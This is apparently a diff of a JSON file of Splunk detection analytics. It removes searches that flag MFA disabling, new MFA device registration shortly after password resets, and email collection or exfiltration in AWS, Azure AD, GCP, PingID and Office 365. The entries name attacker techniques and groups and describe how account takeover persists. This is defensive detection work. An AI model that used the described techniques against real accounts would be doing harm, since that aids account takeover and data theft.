"mitre_attack_id": "T1098.005", - "mitre_attack_technique": "Device Registration", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT29" - ] - } - ] - } - }, - { - "name": "PingID New MFA Method After Credential Reset", - "description": "The following analytic identifies the provisioning of a new MFA device shortly after a password reset. It detects this activity by correlating Windows Event Log events for password changes (EventID 4723, 4724) with PingID logs indicating device pairing. This behavior is significant as it may indicate a social engineering attack where a threat actor impersonates a valid user to reset credentials and add a new MFA device. If confirmed malicious, this activity could allow an attacker to gain persistent access to the compromised account, bypassing traditional security measures.", - "search": "`pingid` \"result.message\" = \"*Device Paired*\" | rex field=result.message \"Device (Unp)?(P)?aired (?.+)\" | eval src = coalesce('resources{}.ipaddress','resources{}.devicemodel'), user = upper('actors{}.name'), reason = 'result.message' | eval object=CASE(ISNOTNULL('resources{}.devicemodel'),'resources{}.devicemodel',true(),device_extract) | eval action=CASE(match('result.message',\"Device Paired*\"),\"created\",match('result.message', \"Device Unpaired*\"),\"deleted\") | stats count min(_time) as firstTime, max(_time) as lastTime, values(reason) as reason by src,user,action,object | join type=outer user [| search `wineventlog_security` EventID IN(4723,4724) | eval PW_Change_Time = _time, user = upper(user) | fields user,src_user,EventID,PW_Change_Time] | eval timeDiffRaw = round(lastTime - PW_Change_Time) | eval timeDiff = replace(tostring(abs(timeDiffRaw) ,\"duration\"),\"(\\d*)\\+*(\\d+):(\\d+):(\\d+)\",\"\\2 hours \\3 minutes\") | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `security_content_ctime(PW_Change_Time)` | where timeDiffRaw > 0 AND timeDiffRaw < 3600 | `pingid_new_mfa_method_after_credential_reset_filter`", - "tags": { - "analytic_story": [ - "Compromised User Account" - ], - "asset_type": "Identity", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "object", - "type": "Other", - "role": [ - "Attacker" - ] - } - ], - "message": "An MFA configuration change was detected for [$user$] within [$timeDiff$] of a password reset. The device [$object$] was $action$.", - "risk_score": 50, - "security_domain": "access", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1621", - "mitre_attack_technique": "Multi-Factor Authentication Request Generation", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29", - "LAPSUS$", - "Scattered Spider" - ] - }, - { - "mitre_attack_id": "T1556.006", - "mitre_attack_technique": "Multi-Factor Authentication", - "mitre_attack_tactics": [ - "Credential Access", - "Defense Evasion", - "Persistence" - ], - "mitre_attack_groups": [ - "Scattered Spider" - ] - }, - { - "mitre_attack_id": "T1098.005", - "mitre_attack_technique": "Device Registration", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT29" - ] - } - ] - } - }, - { - "name": "PingID New MFA Method Registered For User", - "description": "The following analytic detects the registration of a new Multi-Factor Authentication (MFA) method for a PingID (PingOne) account. It leverages JSON logs from PingID, specifically looking for successful device pairing events. This activity is significant as adversaries who gain unauthorized access to a user account may register a new MFA method to maintain persistence. If confirmed malicious, this could allow attackers to bypass existing security measures, maintain long-term access, and potentially escalate their privileges within the compromised environment.", - "search": "`pingid` \"result.message\"=\"Device Paired*\" result.status=\"SUCCESS\" | rex field=result.message \"Device (Unp)?(P)?aired (?.+)\" | eval src = coalesce('resources{}.ipaddress','resources{}.devicemodel'), user = upper('actors{}.name'), reason = 'result.message' | eval object=CASE(ISNOTNULL('resources{}.devicemodel'),'resources{}.devicemodel',true(),device_extract) | eval action=CASE(match('result.message',\"Device Paired*\"),\"created\",match('result.message', \"Device Unpaired*\"),\"deleted\") | stats count min(_time) as firstTime, max(_time) as lastTime by src,user,object,action,reason | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `pingid_new_mfa_method_registered_for_user_filter`", - "tags": { - "analytic_story": [ - "Compromised User Account" - ], - "asset_type": "Identity", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src", - "type": "IP Address", - "role": [ - "Victim" - ] - }, - { - "name": "object", - "type": "Other", - "role": [ - "Attacker" - ] - } - ], - "message": "An MFA configuration change was detected for [$user$], the device [$object$] was $action$.", - "risk_score": 10, - "security_domain": "access", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1621", - "mitre_attack_technique": "Multi-Factor Authentication Request Generation", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29", - "LAPSUS$", - "Scattered Spider" - ] - }, - { - "mitre_attack_id": "T1556.006", - "mitre_attack_technique": "Multi-Factor Authentication", - "mitre_attack_tactics": [ - "Credential Access", - "Defense Evasion", - "Persistence" - ], - "mitre_attack_groups": [ - "Scattered Spider" - ] - }, - { - "mitre_attack_id": "T1098.005", - "mitre_attack_technique": "Device Registration", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT29" - ] - } - ] - } - }, - { - "name": "ASL AWS Multi-Factor Authentication Disabled", - "description": "The following analytic detects attempts to disable multi-factor authentication (MFA) for an AWS IAM user. It leverages Amazon Security Lake logs, specifically monitoring for `DeleteVirtualMFADevice` or `DeactivateMFADevice` API operations. This activity is significant as disabling MFA can indicate an adversary attempting to weaken account security to maintain persistence using a compromised account. If confirmed malicious, this action could allow attackers to retain access to the AWS environment without detection, potentially leading to unauthorized access to sensitive resources and prolonged compromise.", - "search": "`amazon_security_lake` (api.operation=DeleteVirtualMFADevice OR api.operation=DeactivateMFADevice) | fillnull | stats count min(_time) as firstTime max(_time) as lastTime by api.operation actor.user.account_uid actor.user.uid http_request.user_agent src_endpoint.ip cloud.region | rename actor.user.uid as user, src_endpoint.ip as src_ip, cloud.region as region, http_request.user_agent as user_agent, actor.user.account_uid as aws_account_id | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `asl_aws_multi_factor_authentication_disabled_filter`", - "tags": { - "analytic_story": [ - "AWS Identity and Access Management Account Takeover" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation", - "Weaponization" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user$ has disabled Multi-Factor authentication for AWS account $aws_account_id$", - "risk_score": 64, - "security_domain": "threat", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1621", - "mitre_attack_technique": "Multi-Factor Authentication Request Generation", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29", - "LAPSUS$", - "Scattered Spider" - ] - }, - { - "mitre_attack_id": "T1556", - "mitre_attack_technique": "Modify Authentication Process", - "mitre_attack_tactics": [ - "Credential Access", - "Defense Evasion", - "Persistence" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1556.006", - "mitre_attack_technique": "Multi-Factor Authentication", - "mitre_attack_tactics": [ - "Credential Access", - "Defense Evasion", - "Persistence" - ], - "mitre_attack_groups": [ - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "ASL AWS New MFA Method Registered For User", - "description": "The following analytic identifies the registration of a new Multi-Factor Authentication (MFA) method for an AWS account, as logged through Amazon Security Lake (ASL). It detects this activity by monitoring the `CreateVirtualMFADevice` API operation within ASL logs. This behavior is significant because adversaries who gain unauthorized access to an AWS account may register a new MFA method to maintain persistence. If confirmed malicious, this activity could allow attackers to secure their access, making it harder to detect and remove their presence from the compromised environment.", - "search": " `amazon_security_lake` api.operation=CreateVirtualMFADevice | fillnull | stats count min(_time) as firstTime max(_time) as lastTime by api.operation actor.user.account_uid actor.user.name actor.user.uid http_request.user_agent src_endpoint.ip cloud.region | rename actor.user.name as user, src_endpoint.ip as src_ip, cloud.region as region, http_request.user_agent as user_agent, actor.user.account_uid as aws_account_id | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `asl_aws_new_mfa_method_registered_for_user_filter`", - "tags": { - "analytic_story": [ - "AWS Identity and Access Management Account Takeover" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A new virtual device is added to user $user$", - "risk_score": 64, - "security_domain": "identity", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1556", - "mitre_attack_technique": "Modify Authentication Process", - "mitre_attack_tactics": [ - "Credential Access", - "Defense Evasion", - "Persistence" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1556.006", - "mitre_attack_technique": "Multi-Factor Authentication", - "mitre_attack_tactics": [ - "Credential Access", - "Defense Evasion", - "Persistence" - ], - "mitre_attack_groups": [ - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "AWS Multi-Factor Authentication Disabled", - "description": "The following analytic detects attempts to disable multi-factor authentication (MFA) for an AWS IAM user. It leverages AWS CloudTrail logs to identify events where MFA devices are deleted or deactivated. This activity is significant because disabling MFA can indicate an adversary attempting to weaken account security, potentially to maintain persistence using a compromised account. If confirmed malicious, this action could allow attackers to retain access to the AWS environment without detection, posing a significant risk to the security and integrity of the cloud infrastructure.", - "search": "`cloudtrail` (eventName= DeleteVirtualMFADevice OR eventName=DeactivateMFADevice) | stats count min(_time) as firstTime max(_time) as lastTime by src eventName eventSource aws_account_id userAgent eventID awsRegion user_name userIdentity.arn status | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `aws_multi_factor_authentication_disabled_filter`", - "tags": { - "analytic_story": [ - "AWS Identity and Access Management Account Takeover" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation", - "Weaponization" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "aws_account_id", - "type": "Other", - "role": [ - "Victim" - ] - }, - { - "name": "user_name", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "User $user_name$ has disabled Multi-Factor authentication for AWS account $aws_account_id$", - "risk_score": 64, - "security_domain": "threat", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1621", - "mitre_attack_technique": "Multi-Factor Authentication Request Generation", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29", - "LAPSUS$", - "Scattered Spider" - ] - }, - { - "mitre_attack_id": "T1556", - "mitre_attack_technique": "Modify Authentication Process", - "mitre_attack_tactics": [ - "Credential Access", - "Defense Evasion", - "Persistence" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1556.006", - "mitre_attack_technique": "Multi-Factor Authentication", - "mitre_attack_tactics": [ - "Credential Access", - "Defense Evasion", - "Persistence" - ], - "mitre_attack_groups": [ - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "AWS New MFA Method Registered For User", - "description": "The following analytic detects the registration of a new Multi-Factor Authentication (MFA) method for an AWS account. It leverages AWS CloudTrail logs to identify the `CreateVirtualMFADevice` event. This activity is significant because adversaries who gain unauthorized access to an AWS account may register a new MFA method to maintain persistence. If confirmed malicious, this could allow attackers to secure their access, making it difficult to detect and remove their presence, potentially leading to further unauthorized activities and data breaches.", - "search": " `cloudtrail` eventName=CreateVirtualMFADevice | stats count values(requestParameters.virtualMFADeviceName) as virtualMFADeviceName min(_time) as firstTime max(_time) as lastTime by eventSource aws_account_id errorCode userAgent eventID awsRegion userIdentity.principalId user_arn src_ip | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `aws_new_mfa_method_registered_for_user_filter`", - "tags": { - "analytic_story": [ - "AWS Identity and Access Management Account Takeover" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user_arn", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "A new virtual device $virtualMFADeviceName$ is added to user $user_arn$", - "risk_score": 64, - "security_domain": "identity", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1556", - "mitre_attack_technique": "Modify Authentication Process", - "mitre_attack_tactics": [ - "Credential Access", - "Defense Evasion", - "Persistence" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1556.006", - "mitre_attack_technique": "Multi-Factor Authentication", - "mitre_attack_tactics": [ - "Credential Access", - "Defense Evasion", - "Persistence" - ], - "mitre_attack_groups": [ - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "Azure AD Multi-Factor Authentication Disabled", - "description": "The following analytic detects attempts to disable multi-factor authentication (MFA) for an Azure AD user. It leverages Azure Active Directory AuditLogs to identify the \"Disable Strong Authentication\" operation. This activity is significant because disabling MFA can allow adversaries to maintain persistence using compromised accounts without raising suspicion. If confirmed malicious, this action could enable attackers to bypass an essential security control, potentially leading to unauthorized access and prolonged undetected presence in the environment.", - "search": "`azure_monitor_aad` category=AuditLogs operationName=\"Disable Strong Authentication\" | rename properties.* as * | rename targetResources{}.type as type | rename initiatedBy.user.userPrincipalName as initiatedBy | stats count min(_time) as firstTime max(_time) as lastTime by user, type, operationName, initiatedBy, result | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `azure_ad_multi_factor_authentication_disabled_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Account Takeover" - ], - "asset_type": "Azure Active Directory", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation", - "Weaponization" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "initiatedBy", - "type": "User", - "role": [ - "Attacker" - ] - } - ], - "message": "MFA disabled for User $user$ initiated by $initiatedBy$", - "risk_score": 45, - "security_domain": "identity", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1556", - "mitre_attack_technique": "Modify Authentication Process", - "mitre_attack_tactics": [ - "Credential Access", - "Defense Evasion", - "Persistence" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1556.006", - "mitre_attack_technique": "Multi-Factor Authentication", - "mitre_attack_tactics": [ - "Credential Access", - "Defense Evasion", - "Persistence" - ], - "mitre_attack_groups": [ - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "Azure AD New MFA Method Registered For User", - "description": "The following analytic detects the registration of a new Multi-Factor Authentication (MFA) method for an Azure AD account. It leverages Azure AD AuditLogs to identify when a user registers new security information. This activity is significant because adversaries who gain unauthorized access to an account may add their own MFA method to maintain persistence. If confirmed malicious, this could allow attackers to bypass existing security controls, maintain long-term access, and potentially escalate their privileges within the environment.", - "search": " `azure_monitor_aad` category=AuditLogs operationName=\"User registered security info\" properties.operationType=Add | rename properties.* as * | rename targetResources{}.* as * | stats count min(_time) as firstTime max(_time) as lastTime by user, resultDescription, result, src_ip | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `azure_ad_new_mfa_method_registered_for_user_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Account Takeover", - "Compromised User Account" - ], - "asset_type": "Azure Active Directory", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "A new MFA method was registered for user $user$", - "risk_score": 64, - "security_domain": "identity", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1556", - "mitre_attack_technique": "Modify Authentication Process", - "mitre_attack_tactics": [ - "Credential Access", - "Defense Evasion", - "Persistence" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1556.006", - "mitre_attack_technique": "Multi-Factor Authentication", - "mitre_attack_tactics": [ - "Credential Access", - "Defense Evasion", - "Persistence" - ], - "mitre_attack_groups": [ - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "GCP Multi-Factor Authentication Disabled", - "description": "The following analytic detects an attempt to disable multi-factor authentication (MFA) for a Google Cloud Platform (GCP) user. It leverages Google Workspace Admin log events, specifically the `UNENROLL_USER_FROM_STRONG_AUTH` command. This activity is significant because disabling MFA can allow an adversary to maintain persistence within the environment using a compromised account without raising suspicion. If confirmed malicious, this action could enable attackers to bypass additional security layers, potentially leading to unauthorized access, data exfiltration, or further exploitation of the compromised account.", - "search": "`gws_reports_admin` command=UNENROLL_USER_FROM_STRONG_AUTH | stats count min(_time) as firstTime max(_time) as lastTime by user, command, actor.email, status, id.applicationName, event.name, vendor_account, action | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| `gcp_multi_factor_authentication_disabled_filter`", - "tags": { - "analytic_story": [ - "GCP Account Takeover" - ], - "asset_type": "GCP", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation", - "Weaponization" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "actor.email", - "type": "User", - "role": [ - "Attacker" - ] - } - ], - "message": "MFA disabled for User $user$ initiated by $actor.email$", - "risk_score": 45, - "security_domain": "identity", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1556", - "mitre_attack_technique": "Modify Authentication Process", - "mitre_attack_tactics": [ - "Credential Access", - "Defense Evasion", - "Persistence" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1556.006", - "mitre_attack_technique": "Multi-Factor Authentication", - "mitre_attack_tactics": [ - "Credential Access", - "Defense Evasion", - "Persistence" - ], - "mitre_attack_groups": [ - "Scattered Spider" - ] - } - ] - } - } - ], + "possible_detections": [], "external_reference": [], "controls": [], "x_mitre_network_requirements": false, @@ -572446,702 +379545,6 @@ "https://tools.ietf.org/id/draft-ietf-opsawg-tacacs-07.html#rfc.section.7.2", "https://tools.ietf.org/html/rfc2866" ] - }, - { - "name": "Email servers sending high volume traffic to hosts", - "description": "The following analytic identifies a significant increase in data transfers from your email server to client hosts. It leverages the Network_Traffic data model to monitor outbound traffic from email servers, using statistical analysis to detect anomalies based on average and standard deviation metrics. This activity is significant as it may indicate a malicious actor exfiltrating data via your email server. If confirmed malicious, this could lead to unauthorized data access and potential data breaches, compromising sensitive information and impacting organizational security.", - "search": "| tstats `security_content_summariesonly` sum(All_Traffic.bytes_out) as bytes_out from datamodel=Network_Traffic where All_Traffic.src_category=email_server by All_Traffic.dest_ip _time span=1d | `drop_dm_object_name(\"All_Traffic\")` | eventstats avg(bytes_out) as avg_bytes_out stdev(bytes_out) as stdev_bytes_out | eventstats count as num_data_samples avg(eval(if(_time < relative_time(now(), \"@d\"), bytes_out, null))) as per_source_avg_bytes_out stdev(eval(if(_time < relative_time(now(), \"@d\"), bytes_out, null))) as per_source_stdev_bytes_out by dest_ip | eval minimum_data_samples = 4, deviation_threshold = 3 | where num_data_samples >= minimum_data_samples AND bytes_out > (avg_bytes_out + (deviation_threshold * stdev_bytes_out)) AND bytes_out > (per_source_avg_bytes_out + (deviation_threshold * per_source_stdev_bytes_out)) AND _time >= relative_time(now(), \"@d\") | eval num_standard_deviations_away_from_server_average = round(abs(bytes_out - avg_bytes_out) / stdev_bytes_out, 2), num_standard_deviations_away_from_client_average = round(abs(bytes_out - per_source_avg_bytes_out) / per_source_stdev_bytes_out, 2) | table dest_ip, _time, bytes_out, avg_bytes_out, per_source_avg_bytes_out, num_standard_deviations_away_from_server_average, num_standard_deviations_away_from_client_average | `email_servers_sending_high_volume_traffic_to_hosts_filter`", - "tags": { - "analytic_story": [ - "Collection and Staging", - "HAFNIUM Group" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1114", - "mitre_attack_technique": "Email Collection", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "Magic Hound", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1114.002", - "mitre_attack_technique": "Remote Email Collection", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "APT1", - "APT28", - "APT29", - "Chimera", - "Dragonfly", - "FIN4", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Leafminer", - "Magic Hound" - ] - } - ] - } - }, - { - "name": "O365 Compliance Content Search Exported", - "description": "The following analytic identifies when the results of a content search within the Office 365 Security and Compliance Center are exported. It uses the SearchExported operation from the SecurityComplianceCenter workload in the o365_management_activity data source. This activity is significant because exporting search results can involve sensitive or critical organizational data, potentially leading to data exfiltration. If confirmed malicious, an attacker could gain access to and exfiltrate sensitive information, posing a severe risk to the organization's data security and compliance posture.", - "search": " `o365_management_activity` Workload=SecurityComplianceCenter Operation=\"SearchExported\" | rename user_id as user | stats count earliest(_time) as firstTime latest(_time) as lastTime by Operation, ObjectId, ExchangeLocations, user, Query |`security_content_ctime(firstTime)` |`security_content_ctime(lastTime)` | `o365_compliance_content_search_exported_filter`", - "tags": { - "analytic_story": [ - "Office 365 Collection Techniques" - ], - "asset_type": "O365 Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A new compliance content search export was started by $user$", - "risk_score": 42, - "security_domain": "identity", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1114", - "mitre_attack_technique": "Email Collection", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "Magic Hound", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1114.002", - "mitre_attack_technique": "Remote Email Collection", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "APT1", - "APT28", - "APT29", - "Chimera", - "Dragonfly", - "FIN4", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Leafminer", - "Magic Hound" - ] - } - ] - } - }, - { - "name": "O365 Compliance Content Search Started", - "description": "The following analytic detects when a content search is initiated within the Office 365 Security and Compliance Center. It leverages the SearchCreated operation from the o365_management_activity logs under the SecurityComplianceCenter workload. This activity is significant as it may indicate an attempt to access sensitive organizational data, including emails and documents. If confirmed malicious, this could lead to unauthorized data access, potential data exfiltration, and compliance violations. Monitoring this behavior helps ensure the integrity and security of organizational data.", - "search": " `o365_management_activity` Workload=SecurityComplianceCenter Operation=SearchCreated | rename user_id as user | stats count earliest(_time) as firstTime latest(_time) as lastTime by Operation, ObjectId, ExchangeLocations, user, Query |`security_content_ctime(firstTime)` |`security_content_ctime(lastTime)` | `o365_compliance_content_search_started_filter`", - "tags": { - "analytic_story": [ - "Office 365 Collection Techniques" - ], - "asset_type": "O365 Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A new compliance content search was started by $user$", - "risk_score": 42, - "security_domain": "audit", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1114", - "mitre_attack_technique": "Email Collection", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "Magic Hound", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1114.002", - "mitre_attack_technique": "Remote Email Collection", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "APT1", - "APT28", - "APT29", - "Chimera", - "Dragonfly", - "FIN4", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Leafminer", - "Magic Hound" - ] - } - ] - } - }, - { - "name": "O365 Mailbox Inbox Folder Shared with All Users", - "description": "The following analytic detects instances where the inbox folder of an Office 365 mailbox is shared with all users within the tenant. It leverages Office 365 management activity events to identify when the 'Inbox' folder permissions are modified to include 'Everyone' with read rights. This activity is significant as it represents a potential security risk, allowing unauthorized access to sensitive emails. If confirmed malicious, this could lead to data breaches, exfiltration of confidential information, and further compromise through spear-phishing or other malicious activities based on the accessed email content.", - "search": "`o365_management_activity` Operation=ModifyFolderPermissions Workload=Exchange object=Inbox Item.ParentFolder.MemberUpn=Everyone | eval isReadRole=if(match('Item.ParentFolder.MemberRights', \"(ReadAny)\"), \"true\", \"false\") | search isReadRole = \"true\" | stats count earliest(_time) as firstTime latest(_time) as lastTime by Operation, UserId, object, MailboxOwnerUPN, Item.ParentFolder.MemberUpn, Item.ParentFolder.MemberRights | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `o365_mailbox_inbox_folder_shared_with_all_users_filter`", - "tags": { - "analytic_story": [ - "Office 365 Persistence Mechanisms" - ], - "asset_type": "O365 Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "MailboxOwnerUPN", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Inbox folder for the $MailboxOwnerUPN$ mailbox was shared with all users.", - "risk_score": 56, - "security_domain": "access", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1114", - "mitre_attack_technique": "Email Collection", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "Magic Hound", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1114.002", - "mitre_attack_technique": "Remote Email Collection", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "APT1", - "APT28", - "APT29", - "Chimera", - "Dragonfly", - "FIN4", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Leafminer", - "Magic Hound" - ] - } - ] - } - }, - { - "name": "O365 Mailbox Read Access Granted to Application", - "description": "The following analytic identifies instances where the Mail.Read Graph API permissions are granted to an application registration within an Office 365 tenant. It leverages O365 audit logs, specifically events related to changes in application permissions within the AzureActiveDirectory workload. This activity is significant because the Mail.Read permission allows applications to access and read all emails within a user's mailbox, which often contain sensitive or confidential information. If confirmed malicious, this could lead to data exfiltration, spear-phishing attacks, or further compromise based on the information gathered from the emails.", - "search": "`o365_management_activity` Operation=\"Update application.\" | eval json_data=mvindex('ModifiedProperties{}.NewValue', 0) | eval json_data=replace(json_data, \"^\\[\\s*\", \"\") | eval json_data=replace(json_data, \"\\s*\\]$\", \"\") | spath input=json_data path=RequiredAppPermissions{}.EntitlementId output=EntitlementIds | eval match_found=mvfind(EntitlementIds, \"810c84a8-4a9e-49e6-bf7d-12d183f40d01\") | where isnotnull(match_found) | stats max(_time) as lastTime values(EntitlementIds) as EntitlementIds by Operation, user, object | `security_content_ctime(lastTime)` | `o365_mailbox_read_access_granted_to_application_filter`", - "tags": { - "analytic_story": [ - "Office 365 Persistence Mechanisms" - ], - "asset_type": "O365 Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Application registration $object$ was grandes mailbox read access by $user$", - "risk_score": 45, - 